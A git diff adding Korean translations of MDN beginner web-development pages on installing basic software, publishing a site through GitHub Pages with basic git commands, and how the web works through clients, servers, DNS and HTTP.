+ <li>서버 파일 관리, 프로젝트 협업, 코드와 자원 공유, 수정 충돌 방지를 위한 <strong>버전 관리 시스템</strong>. 지금은 <a href="http://git-scm.com/">Git</a>이 제일 대중적인 버전 관리 시스템이며 Git 기반의 코드 공유 서비스인 <a href="https://github.com/">GitHub</a>도 매우 유명합니다.</li>
+ <li>오래 된 웹 호스팅 계정에 파일을 올리기 위한 <strong>FTP 프로그램</strong>. 지금은 점점 Git이 FTP를 대체하고 있습니다. (S)FTP 프로그램은 <a href="https://cyberduck.io/">Cyberduck</a>, <a href="https://fetchsoftworks.com/">Fetch</a>, <a href="https://filezilla-project.org/">FileZilla</a> 외에도 무수히 많습니다.</li>
+ <li>코드 압축과 테스트 등 반복 작업을 자동으로 수행하기 위한 <strong>자동화 시스템</strong>. <a href="http://gruntjs.com/">Grunt</a>나 <a href="http://gulpjs.com/">Gulp</a> 등이 있습니다.</li>
+ <li>흔히 쓰이는 기능의 코드 작성 속도를 높히기 위한 템플릿, 라이브러리, 프레임워크, 기타 등등.</li>
+ <li>이 밖에도 더 많은 도구들을 써요!</li>
+</ul>
+
+<h2 id="지금_당장_필요한_도구는_뭔가요">지금 당장 필요한 도구는 뭔가요?</h2>
+
+<p>전문가가 사용하는 리스트가 두렵게 다가올지도 모르지만, 다행히도 여러분은 저런 대부분의 것들을 모르더라도 웹 개발을 시작하실 수 있습니다. 이 글을 통해 여러분이 최소한의 도구(텍스트 편집기와 최신 웹 브라우저 같은)를 마련할 수 있도록 할 것입니다.</p>
+
+<h3 id="텍스트_편집기_설치하기">텍스트 편집기 설치하기</h3>
+
+<p>지금도 기본적인 텍스트 편집기는 아마 갖고 계실겁니다. Windows는 기본으로 <a href="https://ko.wikipedia.org/wiki/%EB%A9%94%EB%AA%A8%EC%9E%A5_(%EC%86%8C%ED%94%84%ED%8A%B8%EC%9B%A8%EC%96%B4)">메모장</a>을, macOS는 <a href="https://en.wikipedia.org/wiki/TextEdit">TextEdit</a>을 포함하고 있습니다. Linux는 배포판마다 다르지만, Ubuntu는 <a href="https://ko.wikipedia.org/wiki/Gedit">gedit</a>을 가지고 있습니다.</p>
+
+<p>웹 개발을 위해서라면 메모장이나 TextEdit보다는 좋은걸 써야 할겁니다. <a href="http://brackets.io/">Brackets</a>를 추천드립니다. 무려 무료인데다가(쫭쫭) 실시간 미리보기와 코드 힌트도 제공하기 때문이에요!</p>
+
+<h3 id="최신_웹_브라우저_설치하기">최신 웹 브라우저 설치하기</h3>
+
+<p>이제, 코드를 테스트할 데스크탑 웹 브라우저를 몇 가지 설치할겁니다. 다음 목록에서 여러분의 운영체제를 고른 후 원하시는 브라우저의 링크로 들어가 설치하세요.</p>
+
+<ul>
+ <li>Linux: <a href="https://www.mozilla.org/ko/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>.</li>
+ <li>Windows: <a href="https://www.mozilla.org/ko/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://support.microsoft.com/ko-kr/help/17621/internet-explorer-downloads">Internet Explorer</a>, <a href="https://www.microsoft.com/ko-kr/windows/microsoft-edge">Microsoft Edge</a> (Window 10은 Edge를 탑재하고 있습니다. Windows 7 이상에선 Internet Explorer 11을 설치할 수 있습니다. 이외에는 다른 브라우저를 설치해야 합니다)</li>
+ <li>Mac: <a href="https://www.mozilla.org/ko/firefox/new/">Firefox</a>, <a href="https://www.google.com/chrome/browser/">Chrome</a>, <a href="http://www.opera.com/">Opera</a>, <a href="https://www.apple.com/kr/safari/">Safari</a> (Safari는 iOS와 macOS에 탑재되어 있습니다)</li>
+</ul>
+
+<p>다음으로 진행하기 전에, 테스트를 위해 최소 두 개 이상의 브라우저를 설치해야 합니다.</p>
+
+<h3 id="로컬_웹_서버_설치하기">로컬 웹 서버 설치하기</h3>
+
+<p>어떤 예제는 제대로 작동하려면 웹 서버가 필요합니다. <a href="https://developer.mozilla.org/ko/docs/Learn/Common_questions/set_up_a_local_testing_server">로컬 테스트 서버 설치하기</a>에서 설치하는 방법을 알아보세요!</p>
+
+<p>{{NextMenu("Learn/Getting_started_with_the_web/What_will_your_website_look_like", "Learn/Getting_started_with_the_web")}}</p>
+
+<h2 id="이번_과정에서는">이번 과정에서는</h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="/ko/docs/Learn/Getting_started_with_the_web/%EA%B8%B0%EB%B3%B8_%EC%86%8C%ED%94%84%ED%8A%B8%EC%9B%A8%EC%96%B4_%EC%84%A4%EC%B9%98%ED%95%98%EA%B8%B0">기본 소프트웨어 설치하기</a></li>
+ <li id="What_will_your_website_look_like"><a href="/ko/docs/Learn/Getting_started_with_the_web/What_will_your_website_look_like">What will your website look like?</a></li>
+ <li id="Dealing_with_files"><a href="/ko/docs/Learn/Getting_started_with_the_web/Dealing_with_files">Dealing with files</a></li>
+ <li id="HTML_basics"><a href="/ko/docs/Learn/Getting_started_with_the_web/HTML_basics">HTML basics</a></li>
+ <li id="CSS_basics"><a href="/ko/docs/Learn/Getting_started_with_the_web/CSS_basics">CSS basics</a></li>
+ <li id="JavaScript_basics"><a href="/ko/docs/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript basics</a></li>
+ <li id="Publishing_your_website"><a href="/ko/docs/Learn/Getting_started_with_the_web/Publishing_your_website">Publishing your website</a></li>
+ <li id="How_the_web_works"><a href="/ko/docs/Learn/Getting_started_with_the_web/How_the_Web_works">How the web works</a></li>
+</ul>
diff --git a/files/ko/learn/getting_started_with_the_web/웹사이트_출판하기/index.html b/files/ko/learn/getting_started_with_the_web/웹사이트_출판하기/index.html
new file mode 100644
index 0000000000..df2016e530
--- /dev/null
+++ b/files/ko/learn/getting_started_with_the_web/웹사이트_출판하기/index.html
@@ -0,0 +1,176 @@
+---
+title: 웹사이트 출판하기
+slug: Learn/Getting_started_with_the_web/웹사이트_출판하기
+translation_of: Learn/Getting_started_with_the_web/Publishing_your_website
+---
+<p>{{LearnSidebar}}</p>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works", "Learn/Getting_started_with_the_web")}}</p>
+
+<div class="summary">
+<p>일단 여러분의 웹사이트를 만들기 위한 코드 작성과 파일 구성을 끝내셨다면, 이 모든 것을 온라인에 올려 사람들이 찾을 수 있게 할 필요가 있습니다. 이 글은 어떻게 최소한의 노력으로 간단한 예시 코드를 온라인에서 얻을 수 있는지 보여줍니다.</p>
+</div>
+
+<h2 id="옵션들은_뭐가_있나요">옵션들은 뭐가 있나요?</h2>
+
+<p>웹사이트를 출판하는 것은 간단한 것이 아닙니다, 주된 이유는 이것에 아주 많은 다른 방법이 있다는 것입니다. 이 글에서는 모든 가능한 방법을 문서화 하는 것이 목적이 아닙니다. 대신에, 초심자의 관점에서 세가지 큰 전략에 대한 장단점에 대해 이야기 할 것입니다, 그리고나서 현재로써 적합할 하나의 방법을 보여드릴 것입니다.</p>
+
+<h3 id="호스팅과_도메인_이름_얻기">호스팅과 도메인 이름 얻기</h3>
+
+<p>만약 여러분이 출판된 웹사이트에 대한 모든 컨트롤를 원한다면, 이것들을 구매해야 할 것입니다:</p>
+
+<ul>
+ <li>호스팅 — 호스팅 회사의<a href="/en-US/Learn/What_is_a_web_server"> 웹 서버</a> 에서 빌린 파일 공간. 이 공간에 여러분의 웹사이트 파일을 놓을 것입니다, 그리고 웹 서버는 컨텐트를 요청하는 웹 유저에게 그 컨텐트를 제공합니다.</li>
+ <li><a href="/en-US/Learn/Understanding_domain_names">도메인 이름</a> — <code>http://www.mozilla.org</code>, <code>또는 http://www.bbc.co.uk</code> 같이, 사람들이 여러분의 웹사이트를 찾을 수 있는 특정 주소. <strong>도메인 등록 기관</strong>으로부터 몇 년간 사용할 수 있는 여러분의 도메인을 빌리세요.</li>
+</ul>
+
+<p>많은 전문적인 웹사이트들은 이 방법으로 온라인에 진출합니다.</p>
+
+<p>게다가, 여러분은 서버로 웹사이트 파일들을 실제로 전송하기 위한 파일 전송 프로토콜 (FTP) 프로그램 (자세한 내용은 <a href="/en-US/Learn/How_much_does_it_cost#Software">얼마나 드나요: 소프트웨어</a> 에서 확인하세요) 이 필요할 것입니다. FTP 프로그램은 아주 다양합니다, 하지만 일반적으로 호스팅 회사에 의해 제공된 정보 (예로 사용자 이름, 비밀번호, 호스트 이름) 를 사용해 여러분의 웹서버에 로그인을 해야 합니다. 그러면 프로그램은 여러분의 로컬 파일들과 웹 서버의 파일을 두 창에서 보여주므로, 그것들을 외부로 전송하거나 다시 돌려 놓을 수 있습니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9469/ftp.jpg" style="display: block; height: 487px; margin: 0px auto; width: 800px;"></p>
+
+<h4 id="호스팅과_도메인을_찾는_팁">호스팅과 도메인을 찾는 팁</h4>
+
+<ul>
+ <li>저희는 여기서 상업적인 호스팅 회사를 홍보하는 것이 아닙니다. 호스팅 회사와 도메인 이름 등록 기관을 찾기 위해서는, 일단 "웹 호스팅" 과 도메인 이름 등록을 팔고있는 회사를 찾기 위한 "도메인 이름" 을 위한 검색을 하세요. 이러한 모든 회사들은 여러분이 원하는 도메인이름을 위한 검색에 있어 특징을 갖고 있을 것입니다.</li>
+ <li>여러분의 집이나 사무실 인터넷 서비스 공급자는 작은 웹사이트를 위한 어떤 제한된 호스팅을 공급할지도 모릅니다. 가능한 특징들은 제한적일 것이지만, 여러분의 첫 번째 시도를 위해서는 완벽할 것 같습니다 — 그들에게 연락해 요청하세요!</li>
+ <li><a href="https://neocities.org/">Neocities</a>, <a href="https://www.blogger.com">Blogspot</a>, 그리고 <a href="https://wordpress.com/">Wordpress</a> 같은 몇 개의 무료로 이용가능한 서비스가 있습니다. 다시 말해, 여러분이 지불한 만큼 얻을 수 있지만, 이것들은 여러분의 첫 시도를 위해선 완벽합니다. 무료 서비스들은 대부분 업로드를 위한 FTP 소프트웨어도 요구하지 않습니다 — 그들의 웹 인터페이스에 그냥 끌어다 놓으면 됩니다.</li>
+ <li>어떤 회사들은 하나의 패키지에 호스팅과 도메인 모두를 제공하기도 합니다.</li>
+</ul>
+
+<h3 id="GitHub_또는_Dropbox_같은_온라인_도구_사용하기">GitHub 또는 Dropbox 같은 온라인 도구 사용하기</h3>
+
+<p>어떤 도구들은 여러분이 여러분의 웹사이트를 온라인에 출판할 수 있게 해줍니다:</p>
+
+<ul>
+ <li><a href="https://github.com/">GitHub</a> 은 "소셜 코딩" 사이트입니다. 여러분이 <a href="http://git-scm.com/">Git</a> <strong>버전 관리 시스템</strong> 안에 저장을 위한 코드 저장소를 업로드하게 해줍니다.<strong> </strong>코드 프로젝트에서 협업할 수 있고, 기본적으로 시스템은 오픈 소스가 됩니다, 이 것은 세상의 누구든 여러분의 GitHub 코드를 찾아볼 수 있다는 말입니다, 사용하세요, 이것으로부터 배우세요, 그리고 개선하세요. 여러분으 다른 사람들의 코드에도 마찬가지로 작업 할 수 있습니다! 이건 참여하기에 아주 중요하고 유용한 커뮤니티입니다, 그리고 Git/GitHub 은 아주 유명한 <a href="http://git-scm.com/book/en/v2/Getting-Started-About-Version-Control">버전 관리 시스템</a> 입니다 — 대부분의 기술 회사들은 현재 이것을 그들의 작업흐름에서 사용하고 있습니다. GitHub 은 웹에서 존재하는 웹사이트 코드를 전시할 수 있도록 해주는 <a href="https://pages.github.com/">GitHub pages</a> 라는 아주 유용한 특징을 갖습니다.</li>
+ <li><a href="https://www.dropbox.com/">Dropbox</a> 는 웹에 여러분의 파일들을 저장하고 어떤 컴퓨터에서든 사용가능하게 해주는 파일 저장 시스템입니다. 인터넷 접속이 되는 누구든 여러분이 공개적으로 접근가능하게 해둔 Dropbox 폴더에 접근할 수 있습니다. 만약 그 폴더가 웹사이트 파일을 포함한다면, 자동적으로 웹사이트로써 제공될 것입니다. 더 많은 정보는 <a href="http://www.dropboxwiki.com/tips-and-tricks/host-websites-with-dropbox">Dropbox 로 웹사이트 관리하기</a> 를 확인하세요.</li>
+</ul>
+
+<p>대부분의 호스팅과 다르게, 많은 도구들은 일반적으로 무료이지만, 여러분은 제한된 기능들만 사용할 수 있습니다.</p>
+
+<h3 id="Thimble_같은_웹-기반_IDE_사용하기">Thimble 같은 웹-기반 IDE 사용하기</h3>
+
+<p>HTML, CSS 그리고 JavaScript 를 입력할 수 있게 하고 웹사이트로 만들어 질 때 코드의 결과를 보여주는 웹사이트 개발 환경을 대행하는 웹 앱은 많습니다 — 모든것이 한 브라우저 탭 안에 있습니다! 일반적으로 이러한 도구들을 이야기하기는 매우 쉽고, 배우기에 최고이고, 무료이고 (기본적 기능에대해), 그들은 여러분의 특정 웹 주소에 있는 만들어진 페이지를 관리합니다. 하지만, 그 기본적인 기능들은 매우 한정적이고, 그 앱들은 보통 자원들 (이미지 같은) 을 위한 관리 공간을 제공하지 않습니다.</p>
+
+<p>여기 몇 개의 예시들을 실행해보시고, 어떤것이 제일 좋은지 확인해보세요:</p>
+
+<ul>
+ <li><a href="https://jsfiddle.net/">JSFiddle</a></li>
+ <li><a href="https://thimble.webmaker.org/">Thimble</a></li>
+ <li><a href="http://jsbin.com/">JSBin</a></li>
+</ul>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9471/jsbin-screen.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></p>
+
+<h2 id="GitHub_를_통한_출판">GitHub 를 통한 출판</h2>
+
+<p>이제 어떻게 GitHub 페이지를 통해 여러분의 사이트를 출판할 수 있는지 알아보도록 합시다. 이게 여러분의 사이트를 출판하는데 유일한 방법이거나 최고의 방법이라고 이야기 하지는 않을 것입니다, 하지만 이것은 무료이고, 꽤 간단하고, 앞으로 유용할 여러분이 알게 될 몇 가지 새로운 기술도 다룰 것입니다.</p>
+
+<h3 id="기본_설치">기본 설치</h3>
+
+<ol>
+ <li>먼저, 여러분의 장치에 <a href="http://git-scm.com/downloads">Git 을 설치</a> 하세요. 이것은 GitHub 이 위에서 작동하게 되는 기초가 되는 버전 컨트롤 시스템 소프트웨어 입니다.</li>
+ <li>다음으로, <a href="https://github.com/join">GitHub 계정을 위해 가입하세요</a>. 간단하고 쉽습니다.</li>
+ <li>가입을 하셨다면, github.com 에 여러분의 유저 이름과 암호로 로그인하세요.</li>
+ <li>그리고나서, 여러분의 파일들이 들어가게될 새로운 repo 를 생성해야 합니다. GitHub 홈페이지의 오른쪽 상단에 있는 플러스 (+) 를 클릭하고, <em>New Repository </em>를 선택하세요.</li>
+ <li>이 페이지에서, <em>Repository name</em> 박스 안에, <em>username</em>.github.io 를 입력하세요, <em>username</em> 가 있는 곳이 여러분의 유저 이름입니다. 그러니까 예를 들어, 우리 친구 bobsmith 는 <em>bobsmith.github.io </em>를 입력할 것입니다.<img alt="" src="https://mdn.mozillademos.org/files/9479/github-create-repo.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></li>
+ <li><em>Create repository</em> 를 클릭하세요. 다음과 같은 페이지로 이동하실 겁니다:<img alt="" src="https://mdn.mozillademos.org/files/9481/github-populate-repo.png" style="display: block; height: 849px; margin: 0px auto; width: 1392px;"></li>
+</ol>
+
+<h3 id="GitHub_에_파일_올리기">GitHub 에 파일 올리기</h3>
+
+<p>이것은 GitHub 에 있는 우리의 repository 를 놓기 위해 사용해볼 커맨드 라인입니다. 커맨드 라인은 파일을 생성하거나 프로그램을 실행하는 것 같은 일을 하기 위해 유저 인터페이스 안에서 클릭을 하는 것 대신 명령어를 입력하는 창입니다. 이렇게 생긴 것입니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9483/command-line.png" style="display: block; height: 478px; margin: 0px auto; width: 697px;"></p>
+
+<div class="note">
+<p><strong>노트</strong>: 만약 커맨드라인이 불편하시다면, 같은 일을 하기 위해서 <a href="http://git-scm.com/downloads/guis">Git graphical user interface</a> 를 사용하는것도 고려해 볼 수 있습니다.</p>
+</div>
+
+<p><span id="command-line">모든 운영 체제는 커맨드 라인 도구를 갖습니다:</span></p>
+
+<ul>
+ <li><strong>윈도우즈</strong>: <strong>Command Prompt</strong> 는 윈도우 키를 누르고 명령 프롬프트 를 입력하고 나타난 리스트에서 이것을 선택하는 것으로 접근할 수 있습니다. 윈도우즈는 리눅스와 맥 OS 와는 다른 그들만의 명령 규칙이 있으므로, 여러분의 장치에 따라 서로 다르다는것을 기억하세요.</li>
+ <li><strong>맥 OS</strong>: <em>Applications &gt; Utilities 안에 </em><strong>Terminal</strong> 이 있습니다.</li>
+ <li><strong>리눅스</strong>: 보통 <em>Ctrl + Alt + T</em> 로 터미널을 꺼낼 수 있습니다. 만약 작동하지 않는다면 app 바 또는 메뉴에서 <strong>Terminal </strong>을 찾아보세요.</li>
+</ul>
+
+<p>처음에는 좀 두려우실 수 있지만, 걱정하지마세요 — 기본적인 것들은 금방 익히실 수 있을 것입니다. 무언가를 하기 위해선 명령어를 입력하고 엔터를 누르는 것으로 컴퓨터에게 알려줘야합니다.</p>
+
+<ol>
+ <li>커맨드 라인을 여러분의 <code>test-site</code> 폴더로 향하게 합니다 (또는 여러분의 웹사이트가 포함된 어디든지). 그러기 위해선, <code>cd</code> 명령을 사용합니다 (말하자면 "<em>c</em>hange <em>d</em>irectory"). 여기 만약 <code>test-site</code> 폴더 안에 여러분의 웹사이트를 놓으셨다면 여러분이 입력해야 하는 것이 있습니다:
+
+  <pre class="brush: bash">cd Desktop/test-site</pre>
+ </li>
+ <li>커맨드 라인이 여러분의 웹사이트 폴더 안을 가리킬 때, 그 폴더를 git repository 가 되도록 <code>git</code> 도구에게 알려주는 다음의 명령을 입력하세요:
+  <pre class="brush: bash">git init</pre>
+ </li>
+ <li>다음으로, GitHub 사이트로 돌아가세요. 현재 페이지에서, you are interested in the section <em>…or push an existing repository from the command line</em>. 이 구역에 나열된 두 코드를 보게 되실 겁니다. 첫 번째 줄의 코드 전체를 복사하고, 커맨드 라인에 붙여넣은 다음, 엔터를 누르세요. 그 명령은 이렇게 보일 것입니다:
+  <pre class="brush: bash">git remote add origin https://github.com/bobsmith/bobsmith.github.io.git</pre>
+ </li>
+ <li>다음으로, 다음 두 명령어를 입력하고, 각 명령마다 엔터를 누릅니다. 이것은 GitHub 에 코드를 올릴 준비를 하는 것이고, Git 에게 그 파일들을 관리하도록 요청합니다.
+  <pre class="brush: bash">git add --all
+git commit -m "adding my files to my repository"</pre>
+ </li>
+ <li>마지막으로, GitHub 웹 페이지로 가서 3단계에서 봤던 두 개의 명령어중 두 번째 줄을 터미널에 입력하는 것으로 코드를 푸시합니다:
+  <pre class="brush: bash">git push -u origin master</pre>
+ </li>
+ <li>이제 새 브라우저 탭 (<em>username.github.io</em>) 에서 여러분의 GitHub 페이지의 웹 주소로 갈 때, 여러분의 사이트를 온라인에서 보실 수 있습니다! 친구들에게 메일을 보내서 여러분의 실력을 뽐내보세요.</li>
+</ol>
+
+<div class="note">
+<p><strong>노트</strong>: 만약 막히셨다면, <a href="https://pages.github.com/">GitHub Pages 홈페이지</a> 또한 아주 도움이 될 것입니다.</p>
+</div>
+
+<h3 id="더_많은_GitHub_이해">더 많은 GitHub 이해</h3>
+
+<p>만약 여러분이 테스트 사이트에 더 많은 변화를 주고 GitHub에 그것들을 업로드하길 원하신다면, 이전에 하신것 처럼 간단하게 파일에 변화를 주면 됩니다. 그리고나서, GitHub에 변화를 푸시하기 위해 다음 명령어를 입력 (각 명령 다음에 엔터누르기) 해야 합니다:</p>
+
+<pre>git add --all
+git commit -m 'another commit'
+git push</pre>
+
+<p><em>another commit</em> 대신에 여러분이 막 변경했던 것을 설명할 수 있는 더 적합한 메시지로 바꾸세요.</p>
+
+<p>우리는 Git 의 겉을 살짝 건드려 보았습니다. 더 많이 배우시려면, <a href="https://help.github.com/index.html">GitHub Help 사</a>이트 에서 시작하세요.</p>
+
+<h2 id="마무리">마무리</h2>
+
+<p>이 지점에서, 특정 웹 주소에서 여러분의 예시 웹사이트를 사용하실 수 있을 것입니다. 수고하셨습니다!</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9485/hosted-final-site.png" style="display: block; height: 1049px; margin: 0px auto; width: 878px;"></p>
+
+<p> </p>
+
+<h2 id="더_읽을거리">더 읽을거리</h2>
+
+<ul>
+ <li><a href="/en-US/Learn/What_is_a_web_server">웹 서버는 무엇일까요</a></li>
+ <li><a href="/en-US/Learn/Understanding_domain_names">도메인 이름 이해하기</a></li>
+ <li><a href="/en-US/Learn/How_much_does_it_cost">웹에서 무언가를 하기 위한 비용은 얼마나 들까요</a></li>
+ <li><a href="https://www.codecademy.com/learn/deploy-a-website">Deploy a Website</a>: A nice tutorial from Codecademy that goes a bit further and shows some additional techniques.</li>
+ <li>Scott Murray 의 <a href="http://alignedleft.com/resources/cheap-web-hosting">Cheap or free static web hosting</a> 에는 이용가능한 서비스를 위한 유용한 정보가 있습니다. </li>
+</ul>
+
+<p>{{PreviousMenuNext("Learn/Getting_started_with_the_web/JavaScript_basics", "Learn/Getting_started_with_the_web/How_the_Web_works", "Learn/Getting_started_with_the_web")}}</p>
+
+<p> </p>
+
+<h2 id="In_this_module">In this module</h2>
+
+<ul>
+ <li id="Installing_basic_software"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Installing_basic_software">Installing basic software</a></li>
+ <li id="What_will_your_website_look_like"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/What_will_your_website_look_like">What will your website look like?</a></li>
+ <li id="Dealing_with_files"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Dealing_with_files">Dealing with files</a></li>
+ <li id="HTML_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/HTML_basics">HTML basics</a></li>
+ <li id="CSS_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/CSS_basics">CSS basics</a></li>
+ <li id="JavaScript_basics"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/JavaScript_basics">JavaScript basics</a></li>
+ <li id="Publishing_your_website"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/Publishing_your_website">Publishing your website</a></li>
+ <li id="How_the_web_works"><a href="https://developer.mozilla.org/en-US/Learn/Getting_started_with_the_web/How_the_Web_works">How the web works</a></li>
+</ul>
+
+<p> </p>
+
+<p> </p>
diff --git a/files/ko/learn/getting_started_with_the_web/웹의_동작_방식/index.html b/files/ko/learn/getting_started_with_the_web/웹의_동작_방식/index.html
new file mode 100644
index 0000000000..009b22ec8f
--- /dev/null
+++ b/files/ko/learn/getting_started_with_the_web/웹의_동작_방식/index.html
@@ -0,0 +1,99 @@
+---
+title: 웹의 동작 방식
+slug: Learn/Getting_started_with_the_web/웹의_동작_방식
+translation_of: Learn/Getting_started_with_the_web/How_the_Web_works
+---
+<p>{{LearnSidebar}}</p>
+
+<p>{{PreviousMenu("Learn/Getting_started_with_the_web/Publishing_your_website", "Learn/Getting_started_with_the_web")}}</p>
+
+<div class="summary">
+<p><em>'웹의 동작 방식'</em>은 여러분의 컴퓨터나 폰의 웹 브라우저 안에서 웹페이지를 볼 때 무슨 일이 발생하는지에 대한 간소화된 개념을 제공할 것입니다.</p>
+</div>
+
+<p>이 이론은 단기적으로 봤을 때 웹 코드를 작성하기 위해 필수적인 것은 아니지만, 머지 않아 백그라운드에서 발생하는 것을 이해하는 것으로부터 오는 장점을 얻게 될 것입니다.</p>
+
+<h2 id="클라이언트와_서버">클라이언트와 서버</h2>
+
+<p>웹에 연결된 컴퓨터는 <strong>클라이언트 </strong>와 <strong>서버 </strong>라고 합니다. 그들이 어떻게 상호작용하는가에 대한 간소화된 다이어그램은 다음과 같습니다:</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/8973/Client-server.jpg" style="height: 123px; width: 336px;"></p>
+
+<ul>
+ <li>클라이언트는 일반적인 웹 사용자의 인터넷이 연결된 장치들 (예를 들어, 여러분의 컴퓨터는 WI-FI에 연결되어 있고, 또는 여러분의 폰은 모바일 네트워크에 연결되어 있습니다) 과 이런 장치들에서 이용가능한 웹에 접근하는 소프트웨어 (일반적으로 파이어폭스 또는 크롬 과 같은 웹 브라우저) 입니다.</li>
+ <li>서버는 웹페이지, 사이트, 또는 앱을 저장하는 컴퓨터입니다. 클라이언트의 장비가 웹페이지에 접근하길 원할 때, 서버로부터 클라이언트의 장치로 사용자의 웹 브라우저에서 보여지기 위한 웹페이지의 사본이 다운로드 됩니다.</li>
+</ul>
+
+<h2 id="도구_상자의_다른_부분들">도구 상자의 다른 부분들</h2>
+
+<p>위에서 설명한 클라이언트와 서버는 모든 내용을 알려주진 않습니다. 많은 다른 부분들이 포함되어 있고, 아래에서 그것들에 대해 설명할 것입니다.</p>
+
+<p>지금은, 웹이 도로라고 상상해봅시다. 도로의 한 쪽 끝은 여러분의 집 같은 클라이언트 입니다. 다른 한 쪽 끝은 여러분이 뭔가를 사길 원하는 상점같은 서버입니다.</p>
+
+<p><img alt="" src="https://mdn.mozillademos.org/files/9749/road.jpg" style="display: block; height: 427px; margin: 0px auto; width: 640px;"></p>
+
+<p>클라이언트와 서버에 덧붙여서 우리는 다음 내용들도 알아볼 필요가 있습니다.</p>
+
+<ul>
+ <li><strong>인터넷 연결</strong>: 여러분이 웹에서 데이터를 보내고 받을 수 있게 해줍니다. 기본적으로 여러분의 집과 상점 사이의 거리와 같습니다.</li>
+ <li><strong>TCP/IP</strong>: Transmission Control Protocol (전송 제어 규약) 과 Internet Protocol (인터넷 규약) 은 데이터가 어떻게 웹을 건너 여행해야 하는지 정의하는 통신 규약입니다. 이것은 주문을 하고, 상점에 가고, 또 여러분의 상품을 살 수 있게 해주는 운송 장치와 같습니다. 우리 예시에서, 이것은 차 또는 자전거 (또는 여러분의 두 다리) 와 같습니다.</li>
+ <li><strong>DNS</strong>: Domain Name System Servers (도메인 이름 시스템 서버) 는 웹사이트를 위한 주소록과 같습니다. 여러분이 브라우저에 웹 주소를 입력할 때, 브라우저는 그 웹사이트를 검색하기 전에 DNS 를 살펴봅니다. 브라우저는 HTTP 메시지를 올바른 장소로 전송하기 위해 그 웹사이트가 있는 서버가 어떤것인지 찾아야 합니다 (아래를 보세요). 이것은 여러분이 접근하기 위해 상점의 주소를 찾아보는 것과 같습니다.</li>
+ <li><strong>HTTP</strong>: Hypertext Transfer Protocol (하이퍼텍스트 전송 규약) 은 클라이언트와 서버가 서로 통신할 수 있게 하기 위한 언어를 정의하는 어플리케이션 규약 입니다. 이것은 여러분의 상품을 주문하기 위해 여러분이 사용하는 언어와 같습니다.</li>
+ <li><strong>컴포넌트 파일</strong>: 한 웹사이트는 여러분이 상점에서 사는 다양한 종류의 상품들과 같이 많은 다른 파일들로 만들어집니다. 이 파일들은 두개의 주요한 타입이 있습니다:
+  <ul>
+   <li><strong>코드 파일</strong>: 다른 기술들도 잠시 뒤 보게 되실것이지만, 웹사이트는 근본적으로 HTML, CSS, 그리고 JavaScript 로 생성됩니다.</li>
+   <li><strong>자원</strong>: 이것은 이미지, 음악, 비디오, 단어 문서, 그리고 PDF 같은, 웹사이트를 만드는 모든 다른 것들을 위한 공동적인 이름입니다.</li>
+  </ul>
+ </li>
+</ul>
+
+<h2 id="그래서_정확히_무슨일이_발생할까요">그래서 정확히 무슨일이 발생할까요?</h2>
+
+<p>여러분이 브라우저에 웹 주소를 입력할 때 (우리의 비유에서 상점으로 걸어가는 것과 유사합니다):</p>
+
+<ol>
+ <li>브라우저는 DNS 서버로 가서 웹사이트가 있는 서버의 진짜 주소를 찾습니다 (여러분이 상점의 주소를 찾습니다).</li>
+ <li>그 다음 브라우저는 서버에게 웹사이트의 사본을 클라이언트에게 보내달라는 HTTP 요청 메세지를 서버로 전송합니다.(상점으로 가서 상품을 주문합니다.) 이 메세지, 그리고 클라이언트와 서버 사이에 전송된 모든 데이터는 TCP/IP 연결을 통해서 전송됩니다.</li>
+ <li>이 메세지를 받은 서버는 클라이언트의 요청을 승인하고, "200 OK" 메세지를 클라이언트에게 전송합니다. "200 OK"는 "물론이죠. 당신은 웹 사이트를 볼 수 있어요! 여기 있어요" 라는 의미입니다. 그 다음 서버는 웹사이트의 파일들을 데이터 패킷이라 불리는 작은 일련의 덩어리들로 브라우저에 전송하기 시작합니다.(상점은 여러분이 주문한 상품을 전달하고, 여러분은 그것을 집으로 가져갑니다.)</li>
+ <li>브라우저는 이 작은 덩어리들을 완전한 웹 사이트로 조립하고, 당신에게 보여줍니다. (상품이 당신의 문에 도착합니다. — 새 것이죠, 멋져요!)</li>
+</ol>
+
+<h2 id="DNS_설명">DNS 설명</h2>
+
+<p>실제 웹 주소는 멋지거나, 여러분이 선호하는 웹사이트를 찾기 위한 주소 막대에 입력하는 기억할만한 문자가 아닙니다. 그것은 <code>63.245.217.105</code> 같은 숫자 덩어리입니다.</p>
+
+<p>이것은 IP 주소라고 하고, 웹의 하나뿐인 특정 위치를 나타냅니다. 그러나 기억하기에 쉽지는 않죠? 그것이 도메인 이름 서버가 발명된 이유입니다. 도메인 이름 서버는 여러분이 브라우저에 입력하는 웹주소 ("mozilla.org" 같은) 를 웹사이트의 실제 (IP) 주소에 맞춰주는 특별한 서버입니다. </p>
+
+<p>웹사이트는 그들의 IP 주소를 통해 직접 접근될 수도 있습니다. 여러분은 <a href="https://ipinfo.info/html/ip_checker.php">IP Checker</a>와 같은 도구에 도메인을 입력해 IP 주소를 찾을 수 있습니다.</p>
+
+<h2 id="패킷_설명">패킷 설명</h2>
+
